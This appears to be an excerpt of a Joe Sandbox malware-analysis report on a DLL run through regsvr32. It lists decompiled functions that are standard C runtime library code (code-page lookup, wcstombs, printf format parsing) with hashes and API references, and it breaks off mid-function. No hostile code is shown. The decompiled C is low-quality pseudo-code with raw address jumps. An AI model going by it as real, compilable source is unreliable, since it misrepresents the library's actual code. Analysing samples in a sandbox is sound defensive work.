Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

_wcstombs_s_l, xrefs: 000007FEF9D38290
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
P, xrefs: 000007FEF9D382B7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: 2c731414488d35c21f2780f328146d5dcf70469cadf2ee42e60feab36cc6bb66
Instruction ID: b798cd5c2606ce723a50a96b999359d63c775ee68ba37fd19eb3efa8b303dc8f
Opcode Fuzzy Hash: 2c731414488d35c21f2780f328146d5dcf70469cadf2ee42e60feab36cc6bb66
Instruction Fuzzy Hash: C2511936A0DBC586E6B48B19E84476EB3E0F386761F204225D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 6e7b2e4602a67de0d8444751781932987c77aea524c4ee0e513499fa92d069a1
Instruction ID: aadf3acbccf6ff41cc1b37cb3268d324d4900ab85ae7fa80aabce8c8f65e01df
Opcode Fuzzy Hash: 6e7b2e4602a67de0d8444751781932987c77aea524c4ee0e513499fa92d069a1
Instruction Fuzzy Hash: 13414C72A0D6C28AE3B0DB24E8547BEB7E4E385345F600126D6D987AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: f70cefb569721d9d21904d9e7ba8b3a65f1b1d02a652e36c9b8a6a51e541d649
Instruction ID: e7137eedf57618a3e563147601a49a8da4cfcefd457897bce2b88a2abc432a47
Opcode Fuzzy Hash: f70cefb569721d9d21904d9e7ba8b3a65f1b1d02a652e36c9b8a6a51e541d649
Instruction Fuzzy Hash: 7E411CB2A0C6C18AE7B0CB64E8447BEB7E0F384349F600125E6D987AA9D77DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 7ccb00da1bd0fb9220a44591d36c0492ce99534c897a7d6a17d24537f8dc2fa2
Instruction ID: fc8006ff6f8d7d76551d502993a9577a4ed4fa9ca6386b0b138cfffaa104f198
Opcode Fuzzy Hash: 7ccb00da1bd0fb9220a44591d36c0492ce99534c897a7d6a17d24537f8dc2fa2
Instruction Fuzzy Hash: 48412BB2A0C6C286E7F09B64E8407BE72E4F38434AF600126D6C9875A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
